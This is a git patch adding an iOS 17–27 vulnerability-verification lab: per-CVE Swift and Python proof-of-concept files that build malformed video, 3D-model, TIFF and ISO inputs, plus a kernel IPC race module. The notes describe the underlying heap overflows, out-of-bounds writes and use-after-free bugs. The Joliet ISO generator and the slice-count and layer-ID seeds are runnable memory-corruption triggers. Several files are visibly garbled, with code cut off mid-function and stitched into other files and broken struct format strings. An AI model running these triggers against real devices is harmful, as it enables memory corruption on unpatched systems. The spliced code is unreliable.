From 1ea76ab005e759bc253cc9dc8f9b77bbf78722a2 Mon Sep 17 00:00:00 2001 From: jbjf6666 Date: Thu, 29 Oct 2026 02:11:12 +0800 Subject: [PATCH] =?UTF-8?q?Cinder27=20=E2=80=94=20iOS=2017.0-27.1=20vulner?= =?UTF-8?q?ability=20verification=20lab:=2051=20modules,=2031=20per-CVE=20?= =?UTF-8?q?POC=20folders,=2011=20no-CVE=20module=20folders,=20harness=20ap?= =?UTF-8?q?p=20source?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 14 + CVE-2026-112415/CVE-2026-112415.swift | 52 ++ CVE-2026-112416/CVE-2026-112416.swift | 65 ++ CVE-2026-112485/CVE-2026-112485.py | 35 + CVE-2026-112485/CVE-2026-112485.swift | 43 + CVE-2026-112488/CVE-2026-112488.swift | 41 + CVE-2026-112507/CVE-2026-112507.swift | 43 + CVE-2026-112515/CVE-2026-112515.swift | 41 + CVE-2026-112522/CVE-2026-112522.py | 172 ++++ CVE-2026-112522/CVE-2026-112522.swift | 135 +++ CVE-2026-112546/CVE-2026-112546.swift | 40 + CVE-2026-112554/CVE-2026-112554.swift | 128 +++ CVE-2026-112571/CVE-2026-112571.swift | 66 ++ CVE-2026-112610/CVE-2026-112610.swift | 100 +++ CVE-2026-112611/CVE-2026-112611.swift | 161 ++++ CVE-2026-112619/CVE-2026-112619.swift | 42 + CVE-2026-112625/CVE-2026-112625.py | 46 + CVE-2026-112625/CVE-2026-112625.swift | 59 ++ CVE-2026-112627/CVE-2026-112627.swift | 82 ++ CVE-2026-112629/CVE-2026-112629.swift | 77 ++ CVE-2026-112630/CVE-2026-112630.swift | 115 +++ CVE-2026-112632/CVE-2026-112632.swift | 111 +++ CVE-2026-112633/CVE-2026-112633.swift | 143 +++ CVE-2026-112634/CVE-2026-112634.swift | 52 ++ CVE-2026-112638/CVE-2026-112638.swift | 41 + CVE-2026-112646/CVE-2026-112646.swift | 40 + CVE-2026-112656/CVE-2026-112656.swift | 141 +++ CVE-2026-112683/CVE-2026-112683.py | 94 ++ CVE-2026-112683/CVE-2026-112683.swift | 43 + CVE-2026-112688/CVE-2026-112688.swift | 122 +++ CVE-2026-112696/CVE-2026-112696.swift | 39 + CVE-2026-112706/CVE-2026-112706.swift | 59 ++ CVE-2026-113907/CVE-2026-113907.swift | 57 ++ CVE-2026-113910/CVE-2026-113910.swift | 41 + CVE-2026-113912/CVE-2026-113912.swift | 41 + CVE-2026-65385/CVE-2026-65385.swift | 40 + Info.plist | 78 ++ README.md | 127 +++ README.zh-CN.md | 127 +++ Resources/AppIcon-1024.png | Bin 0 -> 103016 bytes Resources/AppIcon-preview.png | Bin 0 -> 103016 bytes .../AppIcon.appiconset/AppIcon-1024.png | Bin 0 -> 103016 bytes .../AppIcon.appiconset/Contents.json | 14 + Resources/Assets.xcassets/Contents.json | 6 + Sources/Catalog.swift | 744 ++++++++++++++++ Sources/Catalog2.swift | 514 +++++++++++ Sources/Catalog3.swift | 284 ++++++ Sources/CatalogTools.swift | 428 +++++++++ Sources/ChainFilesView.swift | 275 ++++++ Sources/Container.swift | 386 +++++++++ Sources/FdLeak.swift | 415 +++++++++ Sources/FilesPane.swift | 577 +++++++++++++ Sources/Gate.swift | 206 +++++ Sources/GuardJournal.swift | 158 ++++ Sources/KernelIPC.swift | 258 ++++++ Sources/Kit.swift | 333 +++++++ Sources/L10n.swift | 260 ++++++ Sources/LabCore.swift | 197 +++++ Sources/LabView.swift | 235 +++++ Sources/ModKit.swift | 305 +++++++ Sources/ModPanes.swift | 811 ++++++++++++++++++ Sources/ModTools.swift | 759 ++++++++++++++++ Sources/ModToolsView.swift | 579 +++++++++++++ Sources/ModView.swift | 641 ++++++++++++++ Sources/ModuleText.swift | 515 +++++++++++ Sources/Payloads.swift | 562 ++++++++++++ Sources/Payloads2.swift | 434 ++++++++++ Sources/Runners.swift | 447 ++++++++++ Sources/RuntimeText.swift | 657 ++++++++++++++ Sources/SandboxExt.swift | 224 +++++ Sources/SystemView.swift | 137 +++ Sources/Theme.swift | 109 +++ Sources/Tools.swift | 488 +++++++++++ Sources/Views.swift | 250 ++++++ arc.rr/arc.rr.py | 170 ++++ arc.rr/arc.rr.swift | 42 + kern.baseline/kern.baseline.swift | 38 + probe.privset/probe.privset.swift | 39 + sbx.toctou/sbx.toctou.swift | 40 + scripts/build-device.sh | 73 ++ scripts/build-sim.sh | 74 ++ scripts/gen_icon.py | 287 +++++++ scripts/gen_seeds.py | 324 +++++++ tool.backup/tool.backup.swift | 40 + tool.container/tool.container.swift | 41 + tool.hex/tool.hex.swift | 38 + tool.macho/tool.macho.swift | 40 + tool.paths/tool.paths.swift | 39 + tool.zip/tool.zip.swift | 39 + 89 files changed, 16485 insertions(+) create mode 100644 .gitignore create mode 100644 CVE-2026-112415/CVE-2026-112415.swift create mode 100644 CVE-2026-112416/CVE-2026-112416.swift create mode 100644 CVE-2026-112485/CVE-2026-112485.py create mode 100644 CVE-2026-112485/CVE-2026-112485.swift create mode 100644 CVE-2026-112488/CVE-2026-112488.swift create mode 100644 CVE-2026-112507/CVE-2026-112507.swift create mode 100644 CVE-2026-112515/CVE-2026-112515.swift create mode 100644 CVE-2026-112522/CVE-2026-112522.py create mode 100644 CVE-2026-112522/CVE-2026-112522.swift create mode 100644 CVE-2026-112546/CVE-2026-112546.swift create mode 100644 CVE-2026-112554/CVE-2026-112554.swift create mode 100644 CVE-2026-112571/CVE-2026-112571.swift create mode 100644 CVE-2026-112610/CVE-2026-112610.swift create mode 100644 CVE-2026-112611/CVE-2026-112611.swift create mode 100644 CVE-2026-112619/CVE-2026-112619.swift create mode 100644 CVE-2026-112625/CVE-2026-112625.py create mode 100644 CVE-2026-112625/CVE-2026-112625.swift create mode 100644 CVE-2026-112627/CVE-2026-112627.swift create mode 100644 CVE-2026-112629/CVE-2026-112629.swift create mode 100644 CVE-2026-112630/CVE-2026-112630.swift create mode 100644 CVE-2026-112632/CVE-2026-112632.swift create mode 100644 CVE-2026-112633/CVE-2026-112633.swift create mode 100644 CVE-2026-112634/CVE-2026-112634.swift create mode 100644 CVE-2026-112638/CVE-2026-112638.swift create mode 100644 CVE-2026-112646/CVE-2026-112646.swift create mode 100644 CVE-2026-112656/CVE-2026-112656.swift create mode 100644 CVE-2026-112683/CVE-2026-112683.py create mode 100644 CVE-2026-112683/CVE-2026-112683.swift create mode 100644 CVE-2026-112688/CVE-2026-112688.swift create mode 100644 CVE-2026-112696/CVE-2026-112696.swift create mode 100644 CVE-2026-112706/CVE-2026-112706.swift create mode 100644 CVE-2026-113907/CVE-2026-113907.swift create mode 100644 CVE-2026-113910/CVE-2026-113910.swift create mode 100644 CVE-2026-113912/CVE-2026-113912.swift create mode 100644 CVE-2026-65385/CVE-2026-65385.swift create mode 100644 Info.plist create mode 100644 README.md create mode 100644 README.zh-CN.md create mode 100644 Resources/AppIcon-1024.png create mode 100644 Resources/AppIcon-preview.png create mode 100644 Resources/Assets.xcassets/AppIcon.appiconset/AppIcon-1024.png create mode 100644 Resources/Assets.xcassets/AppIcon.appiconset/Contents.json create mode 100644 Resources/Assets.xcassets/Contents.json create mode 100644 Sources/Catalog.swift create mode 100644 Sources/Catalog2.swift create mode 100644 Sources/Catalog3.swift create mode 100644 Sources/CatalogTools.swift create mode 100644 Sources/ChainFilesView.swift create mode 100644 Sources/Container.swift create mode 100644 Sources/FdLeak.swift create mode 100644 Sources/FilesPane.swift create mode 100644 Sources/Gate.swift create mode 100644 Sources/GuardJournal.swift create mode 100644 Sources/KernelIPC.swift create mode 100644 Sources/Kit.swift create mode 100644 Sources/L10n.swift create mode 100644 Sources/LabCore.swift create mode 100644 Sources/LabView.swift create mode 100644 Sources/ModKit.swift create mode 100644 Sources/ModPanes.swift create mode 100644 Sources/ModTools.swift create mode 100644 Sources/ModToolsView.swift create mode 100644 Sources/ModView.swift create mode 100644 Sources/ModuleText.swift create mode 100644 Sources/Payloads.swift create mode 100644 Sources/Payloads2.swift create mode 100644 Sources/Runners.swift create mode 100644 Sources/RuntimeText.swift create mode 100644 Sources/SandboxExt.swift create mode 100644 Sources/SystemView.swift create mode 100644 Sources/Theme.swift create mode 100644 Sources/Tools.swift create mode 100644 Sources/Views.swift create mode 100644 arc.rr/arc.rr.py create mode 100644 arc.rr/arc.rr.swift create mode 100644 kern.baseline/kern.baseline.swift create mode 100644 probe.privset/probe.privset.swift create mode 100644 sbx.toctou/sbx.toctou.swift create mode 100755 scripts/build-device.sh create mode 100755 scripts/build-sim.sh create mode 100644 scripts/gen_icon.py create mode 100644 scripts/gen_seeds.py create mode 100644 tool.backup/tool.backup.swift create mode 100644 tool.container/tool.container.swift create mode 100644 tool.hex/tool.hex.swift create mode 100644 tool.macho/tool.macho.swift create mode 100644 tool.paths/tool.paths.swift create mode 100644 tool.zip/tool.zip.swift diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..bf210dc --- /dev/null +++ b/.gitignore @@ -0,0 +1,14 @@ +# build artifacts +build/ +dist/ +seeds/ +*.ipa + +# python POC default outputs (written to CWD when run without an argument) +joliet_path_oob.iso +deep_nest.usda +ktx2_bad_dims.ktx2 +stack_bomb.cff + +# macOS +.DS_Store diff --git a/CVE-2026-112415/CVE-2026-112415.swift b/CVE-2026-112415/CVE-2026-112415.swift new file mode 100644 index 0000000..e11d0fa --- /dev/null +++ b/CVE-2026-112415/CVE-2026-112415.swift @@ -0,0 +1,52 @@ +// vid.hevc · AVD.videodecoder 插件 · CVE-2026-112415 +// 原语: OOB 读 · 系统进程 · tier 2 +// Primitive: OOB read · system process · tier 2 +// +// [zh] MVHEVC 层 ID 越界 +// 多层 HEVC 的 layer id 在 27.0 未做范围校验,越界值直接进入插件的层表索引。27.2 补入层 ID 校验。 +// +// [en] MVHEVC layer id out of range +// Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight +// into the plugin's layer table index. iOS 27.2 adds layer id validation. +// ── 判别 / oracle ── +// 层 ID 取 0x3F(有效范围之外)。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ── +enum VideoPayload { +static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data { + var out = Data() + out.append(contentsOf: [0, 0, 0, 1]) + // VPS NAL with a two-byte header carrying an out-of-range layer id + out.append(contentsOf: [0x40, 0x01, layerID, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60]) + out.append(contentsOf: [0, 0, 0, 1]) + out.append(contentsOf: [0x42, 0x01, layerID, 0x01, 0x60, 0x00]) + out.append(contentsOf: [UInt8](repeating: 0x00, count: 16)) + return out + } + +} + + diff --git a/CVE-2026-112416/CVE-2026-112416.swift b/CVE-2026-112416/CVE-2026-112416.swift new file mode 100644 index 0000000..4efd60e --- /dev/null +++ b/CVE-2026-112416/CVE-2026-112416.swift @@ -0,0 +1,65 @@ +// vid.avc · AVD.videodecoder 插件(非 kext) · CVE-2026-112416 +// 原语: OOB 写 · 系统进程 · tier 2 +// Primitive: OOB write · system process · tier 2 +// +// [zh] AVC 切片数量上限缺失 +// 该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件,而非 kext:112416 为切片数量上限(\"too many slices!\"),112415 为 +// MVHEVC 层 ID 校验,112454 为直方图 IOSurface 指针改为随机 cookie。 +// +// [en] AVC slice count cap missing +// The fix carrier for all three CVEs in this group is the in-process AVD.videodecoder plugin, not +// a kext: 112416 is the slice count cap ("too many slices!"), 112415 is MVHEVC layer-id validation, +// and 112454 replaces the histogram IOSurface pointer with a random cookie. +// ── 判别 / oracle ── +// 经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession, +// 以插件自身错误码判定。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ── +enum VideoPayload { +static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data { + var out = Data() + out.append(contentsOf: [0, 0, 0, 1]) + // SPS + var sps: [UInt8] = [0x67, 0x42, 0x00, 0x1E] + // exp-golomb: seq_parameter_set_id=0, log2_max_frame_num=0, poc_type=0, ... + sps += [0xE8, 0x38, 0x00] + // fake but structurally plausible; the decoder's own error tells us how far it got + sps += [UInt8](repeating: 0x00, count: 8) + out.append(contentsOf: sps) + out.append(contentsOf: [0, 0, 0, 1]) + out.append(contentsOf: [0x68, 0xCE, 0x38, 0x80]) // PPS + for i in 0.. 1 else "deep_nest.usda" + open(out, "wb").write(build_usda()) + print("wrote", out) diff --git a/CVE-2026-112485/CVE-2026-112485.swift b/CVE-2026-112485/CVE-2026-112485.swift new file mode 100644 index 0000000..b95e1c6 --- /dev/null +++ b/CVE-2026-112485/CVE-2026-112485.swift @@ -0,0 +1,43 @@ +// mdl.usda · Model I/O · libusd_ms · CVE-2026-112485 +// 原语: OOB 读 · 进程内 · tier 2 +// Primitive: OOB read · in-process · tier 2 +// +// [zh] USDA 声明嵌套深度 +// Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32:经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile +// 尺寸检查。ModelIO.dylib 自身不含任何修复。 +// +// [en] USDA declaration nesting depth +// The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation, +// Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib +// itself carries none of the fix. +// ── 判别 / oracle ── +// 2000 层嵌套的 def Xform。27.2 会在嵌套上限处拒绝,27.0 递归下去。 +// +// 种子构建器(python,可直接运行): CVE-2026-112485/CVE-2026-112485.py +// runnable python seed builder: CVE-2026-112485/CVE-2026-112485.py + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-112488/CVE-2026-112488.swift b/CVE-2026-112488/CVE-2026-112488.swift new file mode 100644 index 0000000..0584d9a --- /dev/null +++ b/CVE-2026-112488/CVE-2026-112488.swift @@ -0,0 +1,41 @@ +// iio.tiff.direntry · ImageIO · TIFFReadDirEntry*Array · CVE-2026-112488 +// 原语: OOB 写 · 进程内 · tier 2 +// Primitive: OOB write · in-process · tier 2 +// +// [zh] TIFF 目录项分配 32 位截断 +// 输出分配的大小以 lsl w0, count, #log2(elemsize) 计算,属 32 位截断。当 count = 0x20000000 且元素宽度为 8 字节时,分配结果回绕为 0, +// 而逐元素转换循环仍执行 count 次写入。27.2 改用 _TIFFCheckMalloc_type 的 64 位检查尺寸。 +// +// [en] TIFF directory entry allocation 32-bit truncation +// The output allocation size is computed as lsl w0, count, #log2(elemsize) — a 32-bit truncation. +// With count = 0x20000000 and 8-byte elements the allocation wraps to zero while the per-element +// conversion loop still performs count writes. iOS 27.2 switches to _TIFFCheckMalloc_type's 64-bit +// checked size. +// ── 判别 / oracle ── +// 该原语的成立条件是 count×elemsize 跨越 2^32。本模块以一个 0x20000000 的 SBYTE 数组触发分配器,观察其返回空指针(干净拒绝)还是返回远小于请求的块(截断成立)。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-112507/CVE-2026-112507.swift b/CVE-2026-112507/CVE-2026-112507.swift new file mode 100644 index 0000000..60dd488 --- /dev/null +++ b/CVE-2026-112507/CVE-2026-112507.swift @@ -0,0 +1,43 @@ +// kern.ipc · XNU · ipc_port.c 请求表消费方 · CVE-2026-112507 / 112476 +// 原语: UAF · 内核 · tier 2 +// Primitive: use-after-free · kernel · tier 2 +// +// [zh] ipc_port 请求表索引竞态 +// 27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free +// 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。 +// +// [en] ipc_port request table index race +// iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request +// table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards +// the result, still performing the read-modify-write through the unchecked base; the mark path has +// no bounds computation at all. The index comes from the space's saved request-table slot, so the +// defect shape is a stale index under concurrency between table growth or teardown and notification +// registration or message send. +// ── 判别 / oracle ── +// 该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-112515/CVE-2026-112515.swift b/CVE-2026-112515/CVE-2026-112515.swift new file mode 100644 index 0000000..a57e9ec --- /dev/null +++ b/CVE-2026-112515/CVE-2026-112515.swift @@ -0,0 +1,41 @@ +// probe.hid · IOHIDFamily · caps 表查找 · CVE-2026-112515 +// 原语: OOB 读 · 外设 · tier 2 +// Primitive: OOB read · peripheral · tier 2 +// +// [zh] IOHIDFamily 预解析数据表索引 +// 记录中的有符号 int32 索引被直接以 ×0x14 加至 caps 表基址,仅存在 32 位乘法溢出陷阱,缺少索引与计数的比较。负索引读到表下方,超界索引读到相邻内核堆;读出的 u32 进入元素/事件数据, +// 构成内核内存泄露。27.2 补入 cmp idx,count、NULL 守卫与 64 位索引运算。 +// +// [en] IOHIDFamily preparsed data table index +// A signed int32 index from the record is scaled by 0x14 straight into the caps table base with only +// a 32-bit multiply-overflow trap and no comparison against the count. Negative indices read below +// the table, over-range indices read adjacent kernel heap, and the u32 that comes back enters element/event +// data — a kernel memory disclosure. iOS 27.2 adds cmp idx,count, a NULL guard and 64-bit index arithmetic. +// ── 判别 / oracle ── +// 入口是内核侧序列化的 \"hid \" 预解析容器。应用侧能不能把这样的数据推进去,本身就是这一步要回答的问题。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-112522/CVE-2026-112522.py b/CVE-2026-112522/CVE-2026-112522.py new file mode 100644 index 0000000..ab1dc61 --- /dev/null +++ b/CVE-2026-112522/CVE-2026-112522.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +# arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522 +# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process +# +# [zh] ISO9660 Joliet 路径名堆溢出 +# build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/',且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 +# 1024 字节时,最深层回卷的写入落在 p[1024] 与 p[1025],越过 malloc(1024) 两个字节,其中 0x002F 覆盖相邻堆块头。 +# +# [en] ISO9660 Joliet pathname heap overflow +# After recursively appending the parent path, build_pathname_utf16be unconditionally writes +# a 2-byte UTF-16BE '/' without re-checking the running length against the 1024 limit. When +# a directory chain sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025], +# two bytes past a malloc(1024) buffer, and 0x002F overwrites the adjacent heap chunk header. +# +# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py +# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112522.swift +# triggers (run closures) & non-seed builders: CVE-2026-112522.swift in this folder + +import struct + +SECTOR = 2048 + +# --------------------------------------------------------------------------- helpers +def both16(v): + return struct.pack("H", v) + +def both32(v): + return struct.pack("I", v) + +# --------------------------------------------------------------------------- ISO9660 Joliet +def build_joliet_iso(): + """ + Craft per libarchive upstream 750e8d7b25de (fix Apple shipped in 27.2, absent on 27.0). + + build_pathname_utf16be() recurses to the parent, then writes a 2-byte UTF-16BE '/' + separator WITHOUT re-checking the running length against max (1024). A directory + chain whose accumulated path is exactly 1024 bytes makes the deepest unwind store at + p[1024] / p[1025] — two bytes past a malloc(1024) heap buffer. + + Chain: root -> A(103 chars) -> B(103) -> C(103) -> D(103) -> E(96), file F in E. + Accumulated: 4*206 + 192 + 4*2 = 1024 exactly. + """ + names = ["A" * 103, "B" * 103, "C" * 103, "D" * 103, "E" * 96] + + # sector plan + LBA_PVD = 16 + LBA_SVD = 17 + LBA_TERM = 18 + LBA_PT_ASCII = 19 + LBA_PT_JOLIET = 20 + LBA_ROOT = 21 + first_dir = LBA_ROOT + 1 # 22 .. 26 + LBA_FILE = first_dir + len(names) # 27 + total_sectors = LBA_FILE + 1 + + img = bytearray(total_sectors * SECTOR) + + def put(lba, data): + img[lba * SECTOR: lba * SECTOR + len(data)] = data + + # ---- path tables (type L, little endian extents) + def path_table(encode): + out = bytearray() + entries = [("", 1, LBA_ROOT)] + [(n, i + 2, first_dir + i) for i, n in enumerate(names)] + for name, parent, extent in entries: + nb = encode(name) if name else b"\x00" + rec = bytes([len(nb), 0]) + struct.pack("I", 0) # type-M (unused) + d[152:156] = struct.pack(">I", 0) # optional type-M + # root directory record at offset 156 + root = dir_record(b"\x00", root_lba, SECTOR, 0x02) + d[156:156 + len(root)] = root + d[881] = 1 # file structure version + if joliet: + d[88:88 + 3] = b"%/E" # escape sequence + return bytes(d) + + put(LBA_PVD, volume_descriptor(1, False, LBA_ROOT, LBA_PT_ASCII, len(pt_ascii))) + put(LBA_SVD, volume_descriptor(2, True, LBA_ROOT, LBA_PT_JOLIET, len(pt_joliet))) + term = bytearray(2048) + term[0] = 255 + term[1:6] = b"CD001" + term[6] = 1 + put(LBA_TERM, bytes(term)) + + return bytes(img) + + +# --------------------------------------------------------------------------- USDA nesting + +def dir_record(name_bytes, extent, size, flags): + """ISO9660 directory record. name_bytes is the raw name (0x00 root, 0x01 parent).""" + body = bytes([0]) + both32(extent) + both32(size) + iso_date() + bytes([flags, 0, 0]) + both16(1) + rec = bytes([0]) + body + bytes([len(name_bytes)]) + name_bytes + if len(rec) % 2: + rec += b"\x00" + rec = bytes([len(rec)]) + rec[1:] + return rec + +def iso_date(y=2026, mo=10, d=28, h=12, mi=0, s=0): + return bytes([y - 1900, mo, d, h, mi, s, 0]) + +def pad_to(data, n): + if len(data) < n: + data = data + b"\x00" * (n - len(data)) + return data[:n] + +def ucs2(name): + return name.encode("utf-16-be") + + +# --------------------------------------------------------------------------- ISO9660 Joliet + +if __name__ == "__main__": + import sys + out = sys.argv[1] if len(sys.argv) > 1 else "joliet_path_oob.iso" + open(out, "wb").write(build_joliet_iso()) + print("wrote", out) diff --git a/CVE-2026-112522/CVE-2026-112522.swift b/CVE-2026-112522/CVE-2026-112522.swift new file mode 100644 index 0000000..dce9c34 --- /dev/null +++ b/CVE-2026-112522/CVE-2026-112522.swift @@ -0,0 +1,135 @@ +// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522 +// 原语: OOB 写 · 进程内 · tier 1 +// Primitive: OOB write · in-process · tier 1 +// +// [zh] ISO9660 Joliet 路径名堆溢出 +// build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/',且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 1024 +// 字节时,最深层回卷的写入落在 p[1024] 与 p[1025],越过 malloc(1024) 两个字节,其中 0x002F 覆盖相邻堆块头。 +// +// [en] ISO9660 